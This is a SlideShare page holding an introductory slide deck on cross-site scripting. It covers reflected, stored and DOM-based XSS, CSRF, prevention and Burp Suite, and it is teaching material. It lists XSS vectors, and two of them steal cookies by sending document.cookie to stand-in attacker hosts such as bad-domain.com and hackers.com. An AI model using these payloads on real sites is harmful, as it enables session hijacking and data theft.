SlideShare a Scribd company logo
1 of 31
Cross Site Scripting (XSS) by Amit Tyagi
What is XSS Cross Site Scripting XSS is a vulnerability which when present in websites or web applications, allows malicious users (Hackers) to insert their client side code(normally JavaScript) in those web pages. When this malicious code along with the original webpage gets displayed in the web client (browsers like IE, Mozilla etc), allows Hackers to gain greater access of that page.
XSS (-ve) effects stealing other user’s cookies stealing their private information performing actions on behalf of other users redirecting to other websites Showing ads in hidden IFRAMES and pop-ups       
How XSS works 	Web server gets data from web client (POST, GET, COOKIES etc) with the request. So a malicious User can include client side code snippets (JavaScript) into the data. For example :    Amit<script>alert (‘this site has been hacked’) ;</script>
 XSS input Note: This image has been created using Firebug and this XSS hole is not present in google.com
XSS contd. Let’s assume Web server performs no validationor filtration on this data. Now web server either saves this data + XSS code to some persistent storage (like database) or print this data back in the HTML. When this XSS code, comes from server along with HTML into the web client (Browser) and executes as server’s own code, it gets access whole HTML document, page URL, cookies etc.
XSS Server http request with XSS JavaScript http response with XSS JavaScript Hacker’s Browser Hacker’s Browser
XSS output Note: This image has been created using Firebug and this XSS hole is not present in google.com
XSS vectors <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
Type of XSS attacks Non-persistent Persistent DOM Based
Non-persistent 	When XSS code only gets displayed in the next page to the same user and not gets saved into persistent storage like database. This type of attack is less vulnerable, because Hacker can see only their own cookies and can make modifications in their own current opened pages. The risk with these kinds of XSS holes is that it opens way for Cross Site Request Forgery CSRF. CSRF allows a hacker to place some links   	Example : same as given previously to explain XSS 
CSRF Cross-site request forgery  	is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. This can be done by placing some hidden links in some bad website.  	for example : 	<img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script>
CSRF Bank Server Bad Server 1 http request with XSS http response with CSRF Link http response with XSS <img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script> Bad Server 2 Normal User’s Browser Normal User’s Browser http request with cookies
Persistent XSS 	In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users.   abc<script>window.location = "http://www.hackers.com?yid=" + document.cookie;</script>
Persistent XSS – Step 1 DB Step 1 Server saves XSS code to DB Server http request with XSS JavaScript Hacker’s Browser
Persistent XSS – Step 2 DB Step 2 Server saves XSS code to DB Server http request with XSS JavaScript http response with XSS JavaScript Hacker Browser Normal User Browser
Persistent XSS Note: This image has been created using Firebug and this XSS hole is not present in blogger.com
DOM based attack 	DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.   	This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw).   	Example 	… var pos = document.URL.indexOf("name=")+5; 	document.write(document.URL.substring(pos,document.URL.length)); 	…   	http://www.vulnerable.site/welcome.html?name=Joe
Prevention Never trust the  user input data No matter where it’s coming from ( GET, POST, COOKIE etc.
Validation at client side 	By performing client side (JavaScript) validation, before submitting the data to server, helps only in usability aspect of the website. It can’t provide any actual security, because user can disable the JavaScript. Many JavaScript libraries and frameworks are available for this.  	For example in DOJO framework    	<label for="firstName">First Name: </label> 	<input type="text" id="firstName" name="firstName" 		dojoType="dijit.form.ValidationTextBox" 		required="true" 		propercase="true" 		promptMessage="Enter first name." 		invalidMessage="First name is required." 		trim="true”/><br>
Validation at server 	By sanitizing the input data, we can prevent the malicious code to enter in the system.  Checking the proper data types helps in cleaning the data. First of all we should restrict numeric data for numeric fields and only alphanumeric characters for text fields    	White lists – Allow <strong>, <em> and <br> only – Does help, but not 100%    	Blacklists– Block <script> and other attributes such as onload, onclick, onmouseover etc.
Escaping output at server 	Problem characters can include < > "  ‘ &.These characters can be replaced with HTML character entities.  	For example, < can be replaced with &lt;.   5 Rules for escaping output  #1 - HTML Escape before inserting into element content  #2 - Attribute Escape before inserting into attributes  #3 - JavaScript Escape before inserting into JavaScript data values  #4 - CSS Escape before inserting into style property values  #5 - URL Escape before inserting into URL attributes
Escaping text before updating DOM at client side To avoid DOM based XSS attacks.
Web vulnerability scanner Applications These applications provide the developer to test their web applications for various types of vulnerabilities. These applications allow navigating through the web sites or web applications and performing various types of attacks (manual or automated). Both free and commercial applications are available (http://sectools.org/web-scanners.html)
Burp suite Burp suite allows an attacker to combine manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another. Download: http://portswigger.net/suite/download.html Documentation: http://portswigger.net/suite/help.html
Burp Tools  Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the end browser and the target web application, allowing you to intercept, inspect and modify the raw traffic passing in both directions. Spider - an intelligent application-aware web spider which allows complete enumeration of an application's content and functionality. Scanner [Pro version only] - an advanced tool for performing automated discovery of security vulnerabilities in web applications. Intruder- a highly configurable tool for automating customized attacks against web applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common vulnerabilities. Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing the application's responses. Sequencer- a tool for analyzing the quality of randomness in an application's session tokens or other important data items which are intended to be unpredictable. Decoder- a tool for performing manual or intelligent decoding and encoding of application data. Comparer- a utility for performing a visual "diff" between any two items of data, normally pairs of related requests and responses.
Burp Suite
How to use Run the application and set the browser proxy to localhost: 8080 Open any site and Burp will create a sitemap tree in the left panel, as per the site traversal.  Select any URL from the tree and add it to intruder.  Add different type of payloads for attack, i.e. 1<script >alert(1);</script> Go to Intruder and click start attack. Burp suite will show the results in a new window.
Questions
Refrences http://en.wikipedia.org http://ha.ckers.org/xss.html http://portswigger.net www
Thank you

More Related Content

What's hot

Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxAaron Weaver
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request ForgeryTony Bibbs
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Daniel Tumser
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingAnurag Srivastava
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site ScriptingAli Mattash
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseSurya Subhash
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internetRohan Bharadwaj
 
Intrusion detection
Intrusion detectionIntrusion detection
Intrusion detectionCAS
 
Introduction to penetration testing
Introduction to penetration testingIntroduction to penetration testing
Introduction to penetration testingNezar Alazzabi
 
Web application attacks
Web application attacksWeb application attacks
Web application attackshruth
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
Web application security
Web application securityWeb application security
Web application securityKapil Sharma
 
Man in The Middle Attack
Man in The Middle AttackMan in The Middle Attack
Man in The Middle AttackDeepak Upadhyay
 

What's hot (20)

Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
Xss ppt
Xss pptXss ppt
Xss ppt
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internet
 
Intrusion detection
Intrusion detectionIntrusion detection
Intrusion detection
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101
 
Introduction to penetration testing
Introduction to penetration testingIntroduction to penetration testing
Introduction to penetration testing
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Secure Code Review 101
Secure Code Review 101Secure Code Review 101
Secure Code Review 101
 
Malware Analysis
Malware AnalysisMalware Analysis
Malware Analysis
 
Web application security
Web application securityWeb application security
Web application security
 
Man in The Middle Attack
Man in The Middle AttackMan in The Middle Attack
Man in The Middle Attack
 

Similar to Cross Site Scripting ( XSS)

xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfyashvirsingh48
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting GuideDaisuke_Dan
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xssPotato
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris Hillman
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
CROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptCROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptyashvirsingh48
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET Journal
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilitiesAngelinaJasper
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 

Similar to Cross Site Scripting ( XSS) (20)

xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scripting
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
SeanRobertsThesis
SeanRobertsThesisSeanRobertsThesis
SeanRobertsThesis
 
CROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptCROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.ppt
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilities
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 

Recently uploaded

Call Girls In Amritsar 💯Call Us 🔝 76967 34778🔝 💃 Independent Escort In Amritsar
Call Girls In Amritsar 💯Call Us 🔝 76967 34778🔝 💃 Independent Escort In AmritsarCall Girls In Amritsar 💯Call Us 🔝 76967 34778🔝 💃 Independent Escort In Amritsar
Call Girls In Amritsar 💯Call Us 🔝 76967 34778🔝 💃 Independent Escort In Amritsaronly4webmaster01
 
Teck Investor Presentation, April 24, 2024
Teck Investor Presentation, April 24, 2024Teck Investor Presentation, April 24, 2024
Teck Investor Presentation, April 24, 2024TeckResourcesLtd
 
Q3 FY24 Earnings Conference Call Presentation
Q3 FY24 Earnings Conference Call PresentationQ3 FY24 Earnings Conference Call Presentation
Q3 FY24 Earnings Conference Call PresentationSysco_Investors
 
VIP 7001035870 Find & Meet Hyderabad Call Girls Abids high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls Abids high-profile Call GirlVIP 7001035870 Find & Meet Hyderabad Call Girls Abids high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls Abids high-profile Call Girladitipandeya
 
Pakistani Call girls in Ajman +971563133746 Ajman Call girls
Pakistani Call girls in Ajman +971563133746 Ajman Call girlsPakistani Call girls in Ajman +971563133746 Ajman Call girls
Pakistani Call girls in Ajman +971563133746 Ajman Call girlsgwenoracqe6
 
VIP Call Girl Amritsar 7001035870 Enjoy Call Girls With Our Escorts
VIP Call Girl Amritsar 7001035870 Enjoy Call Girls With Our EscortsVIP Call Girl Amritsar 7001035870 Enjoy Call Girls With Our Escorts
VIP Call Girl Amritsar 7001035870 Enjoy Call Girls With Our Escortssonatiwari757
 
Collective Mining | Corporate Presentation - April 2024
Collective Mining | Corporate Presentation - April 2024Collective Mining | Corporate Presentation - April 2024
Collective Mining | Corporate Presentation - April 2024CollectiveMining1
 
Diligence Checklist for Early Stage Startups
Diligence Checklist for Early Stage StartupsDiligence Checklist for Early Stage Startups
Diligence Checklist for Early Stage StartupsTILDEN
 
Top Rated Call Girls In Podanur 📱 {7001035870} VIP Escorts Podanur
Top Rated Call Girls In Podanur 📱 {7001035870} VIP Escorts PodanurTop Rated Call Girls In Podanur 📱 {7001035870} VIP Escorts Podanur
Top Rated Call Girls In Podanur 📱 {7001035870} VIP Escorts Podanurdharasingh5698
 
Call Girls in Friends Colony 9711199171 Delhi Enjoy Call Girls With Our Escorts
Call Girls in Friends Colony 9711199171 Delhi Enjoy Call Girls With Our EscortsCall Girls in Friends Colony 9711199171 Delhi Enjoy Call Girls With Our Escorts
Call Girls in Friends Colony 9711199171 Delhi Enjoy Call Girls With Our Escortsindian call girls near you
 
VIP 7001035870 Find & Meet Hyderabad Call Girls Shamshabad high-profile Call ...
VIP 7001035870 Find & Meet Hyderabad Call Girls Shamshabad high-profile Call ...VIP 7001035870 Find & Meet Hyderabad Call Girls Shamshabad high-profile Call ...
VIP 7001035870 Find & Meet Hyderabad Call Girls Shamshabad high-profile Call ...aditipandeya
 
Collective Mining | Corporate Presentation - May 2024
Collective Mining | Corporate Presentation - May 2024Collective Mining | Corporate Presentation - May 2024
Collective Mining | Corporate Presentation - May 2024CollectiveMining1
 

Recently uploaded (20)

Call Girls In Amritsar 💯Call Us 🔝 76967 34778🔝 💃 Independent Escort In Amritsar
Call Girls In Amritsar 💯Call Us 🔝 76967 34778🔝 💃 Independent Escort In AmritsarCall Girls In Amritsar 💯Call Us 🔝 76967 34778🔝 💃 Independent Escort In Amritsar
Call Girls In Amritsar 💯Call Us 🔝 76967 34778🔝 💃 Independent Escort In Amritsar
 
Russian Call Girls Rohini Sector 22 💓 Delhi 9999965857 @Sabina Modi VVIP MODE...
Russian Call Girls Rohini Sector 22 💓 Delhi 9999965857 @Sabina Modi VVIP MODE...Russian Call Girls Rohini Sector 22 💓 Delhi 9999965857 @Sabina Modi VVIP MODE...
Russian Call Girls Rohini Sector 22 💓 Delhi 9999965857 @Sabina Modi VVIP MODE...
 
Teck Investor Presentation, April 24, 2024
Teck Investor Presentation, April 24, 2024Teck Investor Presentation, April 24, 2024
Teck Investor Presentation, April 24, 2024
 
Q3 FY24 Earnings Conference Call Presentation
Q3 FY24 Earnings Conference Call PresentationQ3 FY24 Earnings Conference Call Presentation
Q3 FY24 Earnings Conference Call Presentation
 
VIP 7001035870 Find & Meet Hyderabad Call Girls Abids high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls Abids high-profile Call GirlVIP 7001035870 Find & Meet Hyderabad Call Girls Abids high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls Abids high-profile Call Girl
 
Pakistani Call girls in Ajman +971563133746 Ajman Call girls
Pakistani Call girls in Ajman +971563133746 Ajman Call girlsPakistani Call girls in Ajman +971563133746 Ajman Call girls
Pakistani Call girls in Ajman +971563133746 Ajman Call girls
 
Rohini Sector 15 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 15 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 15 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 15 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
 
(👉゚9999965857 ゚)👉 VIP Call Girls Friends Colony 👉 Delhi 👈 : 9999 Cash Payment...
(👉゚9999965857 ゚)👉 VIP Call Girls Friends Colony 👉 Delhi 👈 : 9999 Cash Payment...(👉゚9999965857 ゚)👉 VIP Call Girls Friends Colony 👉 Delhi 👈 : 9999 Cash Payment...
(👉゚9999965857 ゚)👉 VIP Call Girls Friends Colony 👉 Delhi 👈 : 9999 Cash Payment...
 
VIP Call Girl Amritsar 7001035870 Enjoy Call Girls With Our Escorts
VIP Call Girl Amritsar 7001035870 Enjoy Call Girls With Our EscortsVIP Call Girl Amritsar 7001035870 Enjoy Call Girls With Our Escorts
VIP Call Girl Amritsar 7001035870 Enjoy Call Girls With Our Escorts
 
Collective Mining | Corporate Presentation - April 2024
Collective Mining | Corporate Presentation - April 2024Collective Mining | Corporate Presentation - April 2024
Collective Mining | Corporate Presentation - April 2024
 
Diligence Checklist for Early Stage Startups
Diligence Checklist for Early Stage StartupsDiligence Checklist for Early Stage Startups
Diligence Checklist for Early Stage Startups
 
Top Rated Call Girls In Podanur 📱 {7001035870} VIP Escorts Podanur
Top Rated Call Girls In Podanur 📱 {7001035870} VIP Escorts PodanurTop Rated Call Girls In Podanur 📱 {7001035870} VIP Escorts Podanur
Top Rated Call Girls In Podanur 📱 {7001035870} VIP Escorts Podanur
 
Call Girls 🫤 Hauz Khas ➡️ 9999965857 ➡️ Delhi 🫦 Russian Escorts FULL ENJOY
Call Girls 🫤 Hauz Khas ➡️ 9999965857  ➡️ Delhi 🫦  Russian Escorts FULL ENJOYCall Girls 🫤 Hauz Khas ➡️ 9999965857  ➡️ Delhi 🫦  Russian Escorts FULL ENJOY
Call Girls 🫤 Hauz Khas ➡️ 9999965857 ➡️ Delhi 🫦 Russian Escorts FULL ENJOY
 
Rohini Sector 17 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 17 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 17 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 17 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
 
@9999965857 🫦 Sexy Desi Call Girls Vaishali 💓 High Profile Escorts Delhi 🫶
@9999965857 🫦 Sexy Desi Call Girls Vaishali 💓 High Profile Escorts Delhi 🫶@9999965857 🫦 Sexy Desi Call Girls Vaishali 💓 High Profile Escorts Delhi 🫶
@9999965857 🫦 Sexy Desi Call Girls Vaishali 💓 High Profile Escorts Delhi 🫶
 
Russian Call Girls Rohini Sector 3 💓 Delhi 9999965857 @Sabina Modi VVIP MODEL...
Russian Call Girls Rohini Sector 3 💓 Delhi 9999965857 @Sabina Modi VVIP MODEL...Russian Call Girls Rohini Sector 3 💓 Delhi 9999965857 @Sabina Modi VVIP MODEL...
Russian Call Girls Rohini Sector 3 💓 Delhi 9999965857 @Sabina Modi VVIP MODEL...
 
Call Girls in Friends Colony 9711199171 Delhi Enjoy Call Girls With Our Escorts
Call Girls in Friends Colony 9711199171 Delhi Enjoy Call Girls With Our EscortsCall Girls in Friends Colony 9711199171 Delhi Enjoy Call Girls With Our Escorts
Call Girls in Friends Colony 9711199171 Delhi Enjoy Call Girls With Our Escorts
 
VIP 7001035870 Find & Meet Hyderabad Call Girls Shamshabad high-profile Call ...
VIP 7001035870 Find & Meet Hyderabad Call Girls Shamshabad high-profile Call ...VIP 7001035870 Find & Meet Hyderabad Call Girls Shamshabad high-profile Call ...
VIP 7001035870 Find & Meet Hyderabad Call Girls Shamshabad high-profile Call ...
 
(‿ˠ‿) Independent Call Girls Laxmi Nagar 👉 9999965857 👈 Delhi : 9999 Cash Pa...
(‿ˠ‿) Independent Call Girls Laxmi Nagar 👉 9999965857 👈 Delhi  : 9999 Cash Pa...(‿ˠ‿) Independent Call Girls Laxmi Nagar 👉 9999965857 👈 Delhi  : 9999 Cash Pa...
(‿ˠ‿) Independent Call Girls Laxmi Nagar 👉 9999965857 👈 Delhi : 9999 Cash Pa...
 
Collective Mining | Corporate Presentation - May 2024
Collective Mining | Corporate Presentation - May 2024Collective Mining | Corporate Presentation - May 2024
Collective Mining | Corporate Presentation - May 2024
 

Cross Site Scripting ( XSS)

  • 1. Cross Site Scripting (XSS) by Amit Tyagi
  • 2. What is XSS Cross Site Scripting XSS is a vulnerability which when present in websites or web applications, allows malicious users (Hackers) to insert their client side code(normally JavaScript) in those web pages. When this malicious code along with the original webpage gets displayed in the web client (browsers like IE, Mozilla etc), allows Hackers to gain greater access of that page.
  • 3. XSS (-ve) effects stealing other user’s cookies stealing their private information performing actions on behalf of other users redirecting to other websites Showing ads in hidden IFRAMES and pop-ups       
  • 4. How XSS works Web server gets data from web client (POST, GET, COOKIES etc) with the request. So a malicious User can include client side code snippets (JavaScript) into the data. For example :   Amit<script>alert (‘this site has been hacked’) ;</script>
  • 5. XSS input Note: This image has been created using Firebug and this XSS hole is not present in google.com
  • 6. XSS contd. Let’s assume Web server performs no validationor filtration on this data. Now web server either saves this data + XSS code to some persistent storage (like database) or print this data back in the HTML. When this XSS code, comes from server along with HTML into the web client (Browser) and executes as server’s own code, it gets access whole HTML document, page URL, cookies etc.
  • 7. XSS Server http request with XSS JavaScript http response with XSS JavaScript Hacker’s Browser Hacker’s Browser
  • 8. XSS output Note: This image has been created using Firebug and this XSS hole is not present in google.com
  • 9. XSS vectors <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  • 10. Type of XSS attacks Non-persistent Persistent DOM Based
  • 11. Non-persistent When XSS code only gets displayed in the next page to the same user and not gets saved into persistent storage like database. This type of attack is less vulnerable, because Hacker can see only their own cookies and can make modifications in their own current opened pages. The risk with these kinds of XSS holes is that it opens way for Cross Site Request Forgery CSRF. CSRF allows a hacker to place some links Example : same as given previously to explain XSS 
  • 12. CSRF Cross-site request forgery is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. This can be done by placing some hidden links in some bad website. for example : <img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script>
  • 13. CSRF Bank Server Bad Server 1 http request with XSS http response with CSRF Link http response with XSS <img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script> Bad Server 2 Normal User’s Browser Normal User’s Browser http request with cookies
  • 14. Persistent XSS In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users. abc<script>window.location = "http://www.hackers.com?yid=" + document.cookie;</script>
  • 15. Persistent XSS – Step 1 DB Step 1 Server saves XSS code to DB Server http request with XSS JavaScript Hacker’s Browser
  • 16. Persistent XSS – Step 2 DB Step 2 Server saves XSS code to DB Server http request with XSS JavaScript http response with XSS JavaScript Hacker Browser Normal User Browser
  • 17. Persistent XSS Note: This image has been created using Firebug and this XSS hole is not present in blogger.com
  • 18. DOM based attack DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.   This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw).   Example … var pos = document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); …   http://www.vulnerable.site/welcome.html?name=Joe
  • 19. Prevention Never trust the user input data No matter where it’s coming from ( GET, POST, COOKIE etc.
  • 20. Validation at client side By performing client side (JavaScript) validation, before submitting the data to server, helps only in usability aspect of the website. It can’t provide any actual security, because user can disable the JavaScript. Many JavaScript libraries and frameworks are available for this. For example in DOJO framework   <label for="firstName">First Name: </label> <input type="text" id="firstName" name="firstName" dojoType="dijit.form.ValidationTextBox" required="true" propercase="true" promptMessage="Enter first name." invalidMessage="First name is required." trim="true”/><br>
